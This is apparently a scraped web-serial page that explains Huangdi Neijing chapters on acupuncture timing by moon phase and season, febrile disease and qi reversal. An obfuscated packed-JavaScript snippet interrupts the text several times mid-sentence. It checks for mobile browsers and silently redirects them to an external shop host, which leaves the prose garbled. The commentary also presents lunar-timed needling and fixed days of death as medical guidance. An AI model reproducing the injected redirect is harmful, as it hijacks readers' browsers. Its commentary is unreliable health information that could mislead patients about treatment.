结合日月星辰之光来研究，则进一步强调了中医理论的宇宙观。在中医看来，日月星辰不仅是天空中的物体，更是影响人体健康的重要因素。日月星辰的运行和变化，与人体内的气血运行、脏腑功能等密切相关。通过观察日月星辰的变化，可以进一步了解人体与自然的联系。 黄帝说：希望能详尽的了解一下。 岐伯说：针灸强调“天人合一”的理念。这意味着人体的生理和病理变化与自然环境中的日月星辰、四时八正等自然现象是紧密相连的。日月星辰的盈亏消长，反映了天地间阴阳的消长变化；而四时八正的气候变化，则体现了自然界中四季更迭、阴阳转换的规律。 在针灸治疗中，医者需要密切观察这些自然现象的变化，以此来判断人体气血的盛衰、阴阳的失衡等情况。例如，在春季阳气生发之时，人体的肝气也随之旺盛，此时针灸治疗应注重疏肝理气；而在冬季阴气收藏之际，人体的肾气则需要得到充分的滋养，此时针灸治疗则应侧重于补肾温阳。 当气候温和、天色晴朗时，自然界中的阳气相对旺盛，这种外界环境有利于人体阳气的生发和升腾。在中医理论中，人体的血液和气（这里指的是卫气，一种主要负责保护人体、抵御外邪的气）会受到这种外部阳气的影响，表现为血液流行华润，卫气上浮于表。 具体来说，血液流行华润意味着血液循环畅通无阻，能够顺畅地滋养全身各组织器官。而卫气上浮于表，则是指卫气主要集中在人体的表层，起到抵御外邪、保护机体的作用。此时，人体的气血运行顺畅，身体感觉舒适，不易生病。 然而，当气候寒冷、天气阴霾时，自然界中的阳气相对不足，阴气较重。这种外部环境会抑制人体阳气的生发和升腾，导致血行滞涩不畅，卫气沉浮于里。 血行滞涩不畅意味着血液循环受到阻碍，无法顺畅地滋养全身各组织器官。这可能导致身体出现各种不适症状，如手脚冰凉、面色苍白、乏力等。而卫气沉浮于里，则是指卫气主要聚集在人体的内部，无法有效地抵御外邪、保护机体。此时，人体对外界环境的适应能力降低，容易生病。 月亮出生的时候，人体的血气开始流利，为其开始畅行，月亮正圆的时候，人体的血气充实，肌肉坚实，月黑无光的时候，人体的肌肉消瘦，经络空虚，卫气衰竭，形体独居就是所谓顺应天时调止气血的法则。要按照天时推移的次序，结合人体血气的盛衰来确定气的所在，并聚精会神的等待治疗的最佳时机。 月牙出生时用泻法”在中医中，月牙（通常指月亮的初期阶段，即新月期）被视为一种自然现象，其变化被认为与人体内的阴阳气血等变化有着密切的联系。 “泻法”是中医中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428714|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一种治疗方法，主要用于治疗实证或热证等病状，通过排除体内的邪气或毒素来达到治疗的目的。 泻法如果使用不当或过度使用，可能会导致患者体内的正气（即生命力、免疫力等）受损，从而造成内脏功能的虚弱。这种情况被称为“重虚”，意味着患者原本就虚弱的身体状况因泻法的使用而进一步恶化。 因此，在中医治疗中，使用泻法需要非常谨慎，必须根据患者的具体情况和病情来综合考虑。对于体质虚弱或病情严重的患者，可能需要避免使用泻法或采用其他更为温和的治疗方法。同时，医生在施治过程中也需要密切关注患者的反应和病情变化，及时调整治疗方案，以确保治疗的有效性和安全性。 当月亮正圆时，中医认为这是阳气最盛、阴气相对较弱的时候，此时人体的气血也会相应受到影响。 “补法”在中医中是一种治疗原则，主要用于治疗因气血虚弱而引发的各种疾病。补法通过补充人体的气血，以增强人体的正气，从而达到治疗的目的。然而，补法的使用也需要因时、因地、因人制宜，否则可能会产生不良后果。 当月亮正圆时，如果盲目使用补法，特别是对于那些体内气血已经充溢的人来说，可能会导致血气进一步充溢于皮表，使得络脉中的血液滞留。这种情况在中医中被称为“重实”，意味着体内的邪气或病邪过于强盛，而正气相对较弱，从而导致病情的加重。 “月黑无光”通常指的是夜晚或者阴暗的天气，此时阳光不足，天地间的阴阳平衡发生变化，可能会影响到人体的气血运行。 这章没有结束，请点击下一页继续阅读！ 第20章 （2）星辰八正四时，不仅预测疾病，更揭示上工下工之秘 黄帝问观察星辰八正四时可以候察什么呢？ 岐伯说：“观察星辰的方位，可以确定日月循行的规律。”这里指的是天文观测，古人通过观察星辰的位置和运动，能够推测出日月运行的规律。这不仅体现了古人对天文学的深厚理解，也为其后关于日月对生物影响的研究奠定了基础。 “观察八节常气的交替，可以预测出异常的八方之风会在什么时候来，又是如何对人造成危害的。”这里的“八节”指的是春分、秋分、夏至、冬至、立春、立夏、立秋、立冬八个节气，它们标志着季节的转换和气候的变化。通过观察这些节气的交替，古人能够预测出不同方向来的风（即八方之风）是否异常，并据此推断出这些风如何影响人体的健康。这反映了中医“治未病”的预防医学思想，即通过观察自然变化，预测疾病的发生，并提前进行干预。 “观察四时可以区分春夏秋冬正常气候的所在，以便根据时序来调养气血，避免八方不正之风的侵犯。”这句话进一步强调了“四时”的重要性，即通过观察春、夏、秋、冬四季的变换，我们可以明确正常气候的规律和特点。 据此，我们可以根据时序来调整自己的生活方式和饮食习惯，以调养气血，增强身体的抵抗力，从而避免被异常气候（即八方不正之风）所侵犯。 首先，我们得明确一点，体质虚弱的人确实更容易受到外界不良因素的侵袭，包括自然界中的虚邪贼风。当身体虚弱时，身体的防御机制会相对减弱，使得邪气更容易侵入体内。 关于“两虚相感邪气就可以侵犯筋骨”，这里的“两虚”可以理解为身体内部的虚弱与外界邪气的侵袭相结合。当这两者同时作用时，邪气就有可能深入体内，首先影响的是我们的筋骨。因为筋骨是支撑身体的重要结构，也是气血流通的通道，所以邪气往往会选择从这里入手。 再深入一步，邪气就有可能伤害五脏。五脏是我们身体的核心器官，负责维持生命活动的正常运转。当邪气侵入五脏时，就会破坏五脏的正常功能，导致各种疾病的发生。 那么，面对这种情况，我们应该怎么办呢？首先，要增强自身的体质，通过合理的饮食、适当的运动、充足的休息等方式来提高身体的抵抗力。其次，要注意避免外界不良因素的侵袭，比如避免在虚邪贼风盛行的季节或环境中长时间停留。最后，如果已经出现了身体不适的症状，要及时就医，接受专业的治疗。 岐伯说：“懂得气候变化的医生能及时挽救病人，使其不致受到严重的伤害”时，我们实际上是在探讨气候变化与人体健康之间的密切联系。 首先，我们要明白气候变化是如何影响人体健康的。不同的气候条件下，人体的生理机能和病理变化都会有所不同。例如，在寒冷的冬季，人体的阳气相对较弱，容易受寒邪侵袭，导致感冒、咳嗽等疾病；而在炎热的夏季，人体的阳气相对旺盛，容易出汗过多，导致体液失衡，出现中暑等症状。 懂得气候变化的医生，能够根据气候的变化特点，采取相应的预防和治疗措施，帮助病人避免或减轻疾病带来的伤害。比如，在冬季，医生可能会建议病人注意保暖，适当食用温补的食物，以增强体内的阳气；在夏季，医生可能会建议病人避免长时间暴露在高温环境中，注意补充水分和电解质，以维持体液的平衡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428715|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同时，医生还需要了解“天时宜忌”，即在不同的气候条件下，哪些行为是适宜的，哪些行为是应该避免的。比如，在春季，万物复苏，人体的阳气也逐渐生发，此时适宜进行适度的户外活动，呼吸新鲜空气，以舒展身心；但在春季也要避免过度劳累和情绪波动，以免损伤肝气。 黄帝说：讲得好，关于取法星辰运行规律来调理治病，我已经知道了，希望您再讲讲怎样效法往古的道理。 岐伯说谢 岐伯说：要“取法和运用前人的学术”，意味着我们要尊重并继承前人的医学知识和经验。针灸作为中医的重要组成部分，其理论体系、操作方法、治疗原则等都是经过数千年临床实践的检验和积累的。因此，要想在针灸治疗上有所成就，必须深入学习前人的学术，理解其精髓，并在实践中加以运用。 然而，仅仅学习前人的学术是不够的，还要“懂得针经”。针经是针灸学的经典着作，它系统地阐述了针灸的理论、方法、技巧和应用，是针灸学习的必读之书。通过深入研读针经，我们可以更好地理解针灸的原理和技巧，为临床实践提供坚实的理论基础。 更重要的是，“要想把古人的针术运用在现在的治疗中，一定要先知道天气的寒温，月相的盈亏，四时气候的浮沉”。了自然环境对人体和针灸治疗的影响。天气、月相、四时气候等因素的变化，都会影响人体的阴阳气血状态，从而影响针灸治疗的效果。因此，作为针灸医生，必须密切关注自然环境的变化，根据病人的具体情况和自然环境的变化来制定治疗方案。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第20章 （3）诊疗新境界：形与神的深度解析 黄帝说：我听说针刺有补法和泻法两种，却不懂它的内在含义。 岐伯说：泻法确实是一种重要的治疗方法，用于驱散体内的邪气，促进正气的恢复，从而达到治疗疾病的目的。 首先，我们来理解一下“泻必用方”这一原则。这里的“方”并非指具体的药方，而是指施针时需要把握的最佳时机和条件。正如您所说，当邪气正盛、月亮正满（古人认为月亮的盈亏与人体气血的盛衰有关）、天气正温和、身心尚稳定时，是进行泻法的最佳时机。这是因为在这些条件下，人体的气血运行相对顺畅，正气较为旺盛，有利于通过泻法将邪气排出。 关于施针的技巧，在病人吸气时进针，再次吸气时转针，呼气时拔针。这是因为在吸气时，人体的气血向上向外运行，有利于将邪气引出体外；而在呼气时，气血向内向下运行，此时拔针可以减少对正气的损伤。 然而，需要强调的是，虽然泻法在治疗某些疾病时具有显着的效果，但并非所有疾病都适合使用泻法。在实际操作中，还需要根据病人的具体情况、病情的轻重以及邪气与正气的对比关系等因素进行综合考虑，选择合适的治疗方法。 关于补法中的“圆”字，这确实是一个富有深意的概念。在中医针灸理论中，补法和泻法是两大基本的治疗原则，而补法中的“圆”字，实际上是指一种行气的技巧，旨在引导气血流动，使其达到病变部位，从而发挥治疗作用。 我们来解释一下“圆”在补法中的具体含义。这里的“圆”并不是指形状上的圆形，而是指气血在体内运行的流畅、圆润状态。通过针灸等手法，我们可以刺激穴位，促进气血的流动，使其在体内形成一种循环、流畅的状态，这就是所谓的“行气”。而行气的目的，就是为了将气血引导到病变部位，从而发挥治疗作用。 在针刺时，要达到荣分（即气血充盈的层次），这是确保治疗效果的关键。同时，在病人吸气时推移其针，也是为了更好地引导气血流动，使其更加顺畅地到达病变部位。这种推移针的手法，就是补法中的“圆”的具体体现。 “方”与“圆”都要用排针之法，这实际上是在强调在治疗过程中需要根据具体情况灵活运用不同的手法和原则。无论是补法还是泻法，都需要根据病人的具体病情、体质等因素来制定治疗方案，选择合适的穴位和手法进行治疗。 一个医术高超且善用针术的医生，确实需要清晰地了解病人形体的肥瘦以及营内血气的盛衰。这不仅是因为血气是维持人体生命活动的重要基础，更是人的神气的寄存之处，必须谨慎地保养。 我们来说说形体的肥瘦。在中医看来，形体的肥瘦与体内气血的充盈程度有着密切的关系。形体丰满的人，往往气血充盈，而形体瘦弱的人则可能气血不足。对于针灸治疗而言，了解病人的形体肥瘦，有助于医生选择合适的针具和刺入深度，以确保治疗的安全和有效。 营内血气的盛衰也是医生必须关注的重要因素。营血，即营养人体的血液，它的盛衰直接影响到人体的健康状况。当营血充足时，人体就能保持旺盛的生命力；而当营血不足时，人体就会出现各种虚弱症状。因此，医生在施针前必须了解病人的营血状况，以便根据具体情况制定合适的治疗方案。 同时，中医还强调“神气”的重要性。神气是人体生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428716|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命活动的总体现，它依赖于血气的滋养和支撑。当血气充足时，神气就能得到充分的滋养，人体就能保持健康状态；而当血气不足时，神气就会受到损伤，人体就会出现各种疾病。因此，医生在施针时必须谨慎保养病人的神气，避免过度刺激或损伤。 一个医术高超且善用针术的医生必须清楚病人形体的肥瘦以及营内血气的盛衰。这是因为在中医看来，血气是维持人体生命活动的重要基础，更是人的神气的寄存之处。 黄帝说多么精妙啊，把人体的变化和阴阳四时的虚实连起来，虚实的感应无形的病况，要不是先生谁能够说明白呢？然而，先生屡次说形和神究竟什么叫做形什么叫做神那？请您详细的说一说。 岐伯说：“形”，实际上是对疾病表象的一种描述，也就是指在没有完全了解病情的情况下，我们需要先通过观察病人的形体、症状等外在表象，来初步判断疾病的性质和可能的原因。 在诊断疾病时，首先要“问名”，也就是询问病人发病的原因、症状等，这是了解病情的第一步。接着，要“诊查经脉变化”，也就是通过望、闻、问、切四诊合参，来仔细诊查病人的经脉气血变化，这是进一步了解病情的关键。 如果在这些过程中，我们发现对病情的了解仍然不够清晰，那么就需要通过更加深入的“按寻”，也就是详细的触诊和脉象诊察，来进一步探寻病情的真实情况。但是，如果即使经过这些步骤，我们仍然不能明确病情的真实情况，那么就说明病情较为复杂或者难以直接观察，这时就需要更加谨慎和细致的诊断，不能轻易下结论。 这章没有结束，请点击下一页继续阅读！ 第21章 热论篇 热病，这一中医术语，确实涵盖了广泛因外感热邪而引发的疾病范畴。在中医理论中，热病多指因外界六淫邪气（风、寒、暑、湿、燥、火）中的火热之邪，或温热疫毒之邪侵袭人体，导致体内阴阳失衡，阳气偏盛，出现一系列以发热为主要症状的疾病。 从广义上讲，热病不仅包括了现代医学中的急性感染性疾病，如上呼吸道感染（感冒伴发热）、急性胃肠炎（因热邪侵及脾胃所致）、流行性乙型脑炎等因病毒、细菌感染引起的发热性疾病，还可能涉及一些因体内代谢异常、免疫失调等原因导致的非感染性发热症状。 在中医治疗中，针对热病，会根据其不同的病因、病机和临床表现，采用清热泻火、凉血解毒、养阴生津等不同的治疗原则和方法。比如，对于外感风热所致的感冒发热，常用辛凉解表的药物；而对于热入营血、高热神昏的重症，则可能需要用到清热解毒、凉血散瘀的方剂。 中医还强调“治未病”的理念，即在日常生活中注重调养，增强体质，提高机体抵抗力，从而预防热病的发生。这包括合理饮食、规律作息、适度运动以及保持心情愉悦等方面。 “本篇中对热病的含义、病因、症状传播、治疗禁忌和预后等进行了详细而系统的论述”，但我可以基于中医理论及现代医学知识，对热病的相关内容进行一番构想性的回答。 热病的含义：在中医典籍或相关的影视作品中，热病往往被描绘为因外感热邪或温热疫毒侵袭人体，导致体内阴阳失衡，阳气偏盛，以发热为主要临床表现的一类疾病。它可能涉及多个脏腑系统，病情轻重不一。 病因：热病的病因多样，主要包括外感六淫中的火热之邪、温热疫毒之邪，以及内伤七情、饮食劳倦等因素导致的体内郁热。在现代医学视角下，热病常与细菌、病毒等微生物感染密切相关。 症状传播：热病的症状传播并非指疾病本身如病毒般在人与人之间直接传播，而是指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428717|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾病发生后，其临床表现（如高热、头痛、身痛、口渴、烦躁等）通过患者的言行举止、体征变化等方式被周围人感知，从而引发对疾病的认识和关注。当然，对于某些具有传染性的热病（如流感、登革热等），其病原体则可通过空气、接触等途径在人群中传播。 治疗禁忌：在治疗热病时，应严格遵循中医辨证施治的原则，避免盲目用药。一般来说，热病治疗应忌用辛温发散、温补助阳之品，以免助热生变，加重病情。同时，对于不同体质、不同年龄段的患者，治疗时还需注意调整药物剂量和配伍，避免产生不良反应。在现代医学中，对于热病的治疗也需遵循科学规范，避免滥用抗生素、激素等药物。 预后：热病的预后因病因、病情轻重、治疗及时与否等多种因素而异。一般来说，若病因明确、病情较轻、治疗及时得当，多数热病患者预后良好，可迅速康复。但若病因复杂、病情危重或治疗不当，则可能遗留后遗症或危及生命。 第21章 （1）热病的病因，病症传变大揭秘 热病，作为中医外感病中的一大类，其病因、病机及病症传变过程历来是中医理论研究和临床实践的重点。今天，我们就来一起揭秘热病的这些奥秘。 从病因上来说，热病多因外感六淫之邪中的“热邪”或“温邪”所致。这些邪气往往具有炎热、升散、易扰心神、易伤津耗气等特性，一旦侵袭人体，便会引起一系列以发热为主症的疾病。此外，情志内伤、饮食劳倦等因素也可能导致人体正气不足，从而增加热病的发生风险。 我们谈谈热病的病症传变。在中医看来，热病的发生发展往往遵循着一定的规律，即由表及里、由浅入深、由阳入阴的过程。具体来说，热病初起时，病邪多侵袭人体肌表，表现为恶寒发热、头痛身痛等表证；随着病情的进展，病邪可能逐渐深入脏腑，出现咳嗽、气喘、胸痛等里证；若病情进一步恶化，还可能伤及阴液，出现高热不退、口燥咽干、舌红少苔等阴虚火旺的证。 接下来我们看看黄帝和岐伯的对话来了解疾病的病因，病症、和如何传遍。 黄帝问：外感病发热的疾病都属于伤寒一类，其中有的会痊愈，有的则会致人死亡，死亡往往会在六七天发生，痊愈会在十天之后发生，这是为什么呢？我不知道缘故，想听听其中的道理。 岐伯说：足太阳经，即足太阳膀胱经，确实被赋予了极高的地位，被誉为“六经之长”，这里的“六经”指的是中医经典理论中的六条主要经脉，包括手三阴经（手太阴肺经、手厥阴心包经、手少阴心经）和手三阳经（手阳明大肠经、手少阳三焦经、手太阳小肠经），以及足三阳经（足阳明胃经、足少阳胆经、足太阳膀胱经）中的一部分。“人体的所有阳经都隶属于太阳经”这一表述，在严格的中医理论体系中，是需要进一步澄清的。 我们要明确的是，中医经络理论中的每一条经脉都有其独特的循行路线、所属脏腑、功能作用及病候表现。足太阳膀胱经作为一条重要的阳经，它确实具有统摄阳分、调节水液代谢、护卫体表等作用，共同维持着人体的生理平衡。 从另一个角度来看，中医强调“整体观念”和“辨证论治”，即把人体看作是一个有机整体，各脏腑、经络、气血、津液等之间相互联系、相互影响。因此，虽然足太阳膀胱经在阳经中占有重要地位，但它并不能单独完成所有阳经的功能，而是需要与其他阳经以及阴经相互配合，共同实现人体的健康与和谐。 作为六经之长，其经脉不仅连于风府（一个位于后颈部的穴位，是风邪侵入脑部的主要门户），更与督脉、阳维脉在这一关键部位相交汇，这样的布局背后，蕴含着深刻的生理与病理意义。 督脉，作为“阳脉之海”，它如同一位威严的将领，统率着全身的阳经脉气，调节着人体的阳气分布与平衡。而太阳经，则因其与督脉的紧密联系，以及自身在阳经中的独特地位，被赋予了“诸阳主气，主一身之表”的重任。这意味着太阳经不仅参与着人体阳气的生成与输布，更承担着抵御外邪、护卫体表的重要职责。 当我们说“太阳经为诸阳主气主一身之表”时，实际上是在强调太阳经在人体阳气系统中的核心作用。它就像是一道坚固的防线，当外界的风寒暑湿燥火等邪气试图侵犯人体时，太阳经会首当其冲，通过其强大的阳气和经络网络，将邪气阻挡在体表之外，从而保护人体内部的脏腑不受侵害。 太阳经与督脉、阳维脉的交汇，还体现了中医经络理论中“经脉相通，气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428718|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血相贯”的整体观念。这种交汇不仅加强了太阳经与其他阳经之间的联系，也促进了全身阳气的流通与平衡，为人体的健康与和谐提供了有力的保障。 岐伯接着说：中医理论认为，寒邪是外感六淫之一，其性寒冷、凝滞、收引，易伤人体阳气。当人体感受寒邪后，确实可能引发发热等反应，这是机体正气与邪气抗争的表现。然而，是否发热以及发热的严重程度，并不能单一地决定病情的转归和患者的生死。 “如果阴阳二经表里同时感受寒邪而发病，病人就不能避免死亡了。”这一说法在中医理论中并非绝对。虽然阴阳二经表里同时受邪意味着病情较为复杂且严重，但并不意味着患者就一定会死亡。中医强调“辨证论治”，即根据患者的具体病情、体质、年龄、性别等因素，制定个性化的治疗方案。 但我们在实际临床中，即使患者出现阴阳二经表里同时受邪的复杂病情，中医也会通过综合运用多种治疗手段，如针灸、汤药、推拿等，来调和阴阳、扶正祛邪，以期达到治愈疾病的目的。当然，病情的严重程度、治疗时机、患者的依从性等因素都会影响治疗效果。 黄帝说：我想听听您讲讲伤寒的症状。 岐伯说：在伤寒病的第一天，太阳经先感受寒邪。这里所说的太阳经，主要是指足太阳膀胱经，它循行于人体的头项背部，具有统摄阳分、护卫体表的作用。因此，当太阳经感受寒邪时，正邪交争于表，气血运行不畅，就会出现头颈部疼痛、腰脊部肌肉僵直等表证症状。这些症状是机体在抵抗外邪入侵时的正常反应，也是中医辨证施治的重要依据。 小主，这个章节后面还有 哦，请点击下一页继续阅读，后面更精彩！ 第21章 （2）热病后余邪危害大，两经同病症状详解与预防策略 黄帝问：热病已经痊愈，但常常会有余邪不尽，这是什么原因呢？ 岐伯说：“余邪不尽”并非字面意义上的“邪气”残留，而是指病邪虽已减弱，但其残余势力仍在体内潜藏，伺机而动。当病人在高热之时强行进食，这不仅是对身体机能的额外负担，更是为病邪的“死灰复燃”提供了温床。 想象一下，身体在高热状态下，就像是一座燃烧的火炉，内部的各种生化反应都在加速进行，以应对外界的侵袭。而这时，如果强行加入“燃料”（即食物），尤其是那些难以消化、易产生热量的食物，无疑会让这座火炉的火势更加旺盛，甚至可能引发新的火焰（即新的热邪）。 这种“两热相合”的现象，在中医理论中，被视为病邪复燃、病情反复的重要原因。在疾病的治疗与康复过程中，必须密切关注患者的饮食起居，避免任何可能加重病情或延长病程的行为。 黄帝说说的好，那么怎样治疗余热不尽呢？ 岐伯说：“太阳与少阴两经同时受病，这里的“太阳”指的是足太阳膀胱经，主管人体一身之表，受寒邪侵袭时，常见头痛、恶寒发热等表证；“少阴”则常指手少阴心经或足少阴肾经，它们与心肾等脏腑紧密相连，若受寒邪影响，可能出现一系列里寒症状，如脉沉细、畏寒肢冷等。 “口干和烦闷”作为少阴经受病的症状，在传统中医理论中并不常见。但中医讲究的是“同病异治，异病同治”，即使是同一病邪，也可能因个体差异、体质不同而表现出不同的症状。因此，在特定条件下（如患者素体阴虚火旺，或寒邪入里化热），少阴经受寒邪后也可能出现口干、烦闷等热象。 “第二天，阳明太阴两经同时受病”。首先，阳明经，这里主要指的是手阳明大肠经和足阳明胃经，它们与人体消化、吸收、排泄等功能密切相关。阳明经受病，往往表现为身热、口渴、便秘等实热症状。而“胡言乱语”这一症状，在中医中可能被视为热扰心神的表现，即高热导致心神不宁，思维混乱。 太阴经，通常指的是手太阴肺经和足太阴脾经，它们与呼吸、运化水谷精微等功能紧密相连。太阴经受病，则多见腹部胀满、不欲饮食、腹泻等虚寒症状。这里提到的“腹部胀满，不想进食”，正是太阴经受寒邪或脾虚失运的常见表现。 现在，将两者结合起来看，如果第二天阳明与太阴两经同时受病，那么患者可能会经历一场身心的双重考验。一方面，阳明的实热症状让身体如同被烈火炙烤，身热难耐，甚至心神不宁；另一方面，太阴的虚寒症状又让腹部如同被寒冰包裹，胀满不适，食欲全无。 在治疗上，中医会采取“寒热并用，虚实兼顾”的策略，既要清热泻火以解阳明之热，又要温中散寒以除太阴之寒，同时还要兼顾调理脾胃功能，恢复气血生化之源。当然，具体的治疗方案还需根据患者的具体病情、体质等因素进行个性化调整。 “第三天，少阳与厥阴两经同时受病” 少阳经，主要指手少阳三焦经和足少阳胆经，它们与人体气机的升降出入、水液代谢等功能紧密相关。少阳经受病，常表现为口苦、咽干、目眩、耳聋等症状，这些症状多与胆火上炎、气机郁滞有关。而“耳聋”作为少阳病的典型症状之一，更是反映了少阳经气不利，清窍失聪的病理状态。 厥阴经，则主要指手厥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428719|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴心包经和足厥阴肝经，它们与心脏、肝脏的功能以及人体的阴阳调节密切相关。厥阴经受病，往往表现为寒热错杂、厥热胜复等复杂症状。其中，“阴囊收缩和四肢发冷”虽非厥阴病的典型症状，但可理解为在特定条件下（如寒邪凝滞、阳气不达四末），厥阴经气血运行受阻，导致局部失于温煦的表现。 当少阳与厥阴两经同时受病，且病情发展至“水浆不入，昏迷不醒，不省人事”的危重阶段时，这已不仅仅是单一经络或脏腑的问题，而是整个机体阴阳失衡、气血逆乱的严重状态。此时，病人的生命之火已如风中残烛，随时可能熄灭。 我解释一下，岐伯说的这句话“病人到第六天就会死亡”的预测，这并非中医理论中的绝对规律，而是基于当时医疗条件、疾病发展趋势以及患者体质等因素的综合判断。在现代医学条件下，通过积极的救治措施和生命支持手段，许多原本看似不可逆转的病情都能得到一定程度的缓解或控制。 黄帝问病情已经发展到五脏，以伤六腑不通，营卫不和的地步，像这样的人，会在三天以后死亡，这是为什么呢？ 岐伯说：“阳明是12经之长，其经脉的气血最旺盛，所以病人容易神志昏迷，三天以后阳明的气血已经竭尽，所以人就会死亡”。 阳明经，在中医理论中主要指的是手阳明大肠经和足阳明胃经。这两条经脉不仅与人体的消化、吸收、排泄等生理功能密切相关，而且其气血之旺盛，在十二经脉中确属翘楚。阳明经多气多血，这意味着它们在维持人体生命活动、抵御外邪入侵等方面发挥着举足轻重的作用。 这章没有结束，请点击下一页继续阅读！ 第22章 逆调论 在探讨“逆调即调逆”这一中医理论精髓时，我们首先要明确的是，人体作为一个复杂而精妙的生命系统，其内在的气机运行遵循着自然界的和谐与平衡之道。气机，简而言之，是指人体内气的升降出入、循环往复的动态过程，它关乎着脏腑的功能协调、经络的畅通无阻以及气血的充盈与调和。 “以顺为常，逆则为病”，这句话深刻地揭示了气机运行的正常状态与病理变化之间的关系。在正常情况下，人体的气机如同自然界的四季更迭、昼夜交替一般，有着其固有的规律和秩序，表现为升中有降、降中有升，相互制约，相互依存，共同维持着人体的生理平衡。而当这种平衡被打破，气机出现逆行或运行不畅时，便会导致各种疾病的发生。 因此，“逆调即调逆”的核心理念在于，当发现人体气机出现逆行或异常时，应及时采取措施进行调整，以恢复其正常的运行轨迹。这一过程，既是对疾病本质的深刻认识，也是中医“治未病”思想的具体体现——即在疾病尚未形成或初起之时，便通过调理气机，使之恢复顺畅，从而达到预防疾病或减轻病情的目的。 在具体操作上，中医会根据患者的具体病情，采用针灸、推拿、中药等多种治疗手段，通过调和阴阳、疏通经络、补益气血等方式，来纠正气机的逆行状态，恢复其正常的升降出入功能。同时，也会强调“治神”的重要性，即调整患者的心理状态，保持情绪的稳定和乐观，因为情志的波动也会影响到气机的运行。 当我们深入探讨本篇所阐述的寒热、骨痹、肉苛、气逆等病症时，不禁要感叹中医理论的博大精深与细腻入微。这些病症，虽看似纷繁复杂，实则都是人体内外环境失衡、脏腑功能失调的具体表现。 寒热，作为最基本的病理变化之一，反映了人体阴阳的偏盛偏衰。寒证多因阳气不足或阴寒内盛所致，表现为畏寒肢冷、面色苍白等症状；而热证则多由阳气过盛或阴液不足引起，表现为发热、口渴、面红目赤等。在中医看来，调节寒热平衡，恢复阴阳和谐，是治疗许多疾病的关键。 骨痹，这是一种以关节疼痛、僵硬、变形为主要表现的病症，多因风寒湿邪侵袭人体，痹阻经络，气血运行不畅所致。中医在治疗骨痹时，强调“不通则痛，通则不痛”，通过祛风除湿、散寒通络、活血化瘀等方法，旨在疏通经络，恢复气血流通，从而缓解或消除疼痛。 肉苛，这一病症虽不常见于现代中医诊断术语中，但根据古籍记载，可大致理解为肌肉僵硬、麻木不仁的状态。这可能与气血亏虚、经络失养有关，也可能是外邪入侵，导致局部气血凝滞。治疗时，需根据具体病因，采用补益气血、温经散寒、活血通络等策略。 气逆，它指的是气机升降失常，向上冲逆的病理变化。气逆可发生于多个脏腑，如肺气上逆则咳嗽气喘，胃气上逆则恶心呕吐等。中 